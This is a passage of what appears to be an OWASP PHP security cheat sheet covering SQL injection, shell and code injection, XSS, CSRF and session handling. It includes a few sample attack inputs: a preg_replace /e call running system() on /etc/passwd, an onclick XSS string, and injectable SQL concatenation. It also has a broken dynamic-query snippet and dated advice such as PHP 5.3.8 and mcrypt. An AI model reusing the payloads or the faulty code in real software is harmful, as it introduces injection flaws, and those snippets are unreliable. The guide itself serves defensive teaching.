However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
        if (!in_array($Needle,$Haystack))&lt;br /&gt;
                return reset($Haystack); //first element&lt;br /&gt;
        return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you're bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitized user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
 	return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
 	echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* We don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with the above statement when you see a variable is included, no harm comes with that.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Session IDs are to be generated by your application only. Never create a session only because you receive the session ID from the client, the only source of creating a session should be a secure random generator.&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not Javascript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to javascript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Access Control Cheat Sheet=&lt;br /&gt;
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues. &lt;br /&gt;
&lt;br /&gt;
=Cryptography Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you're done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
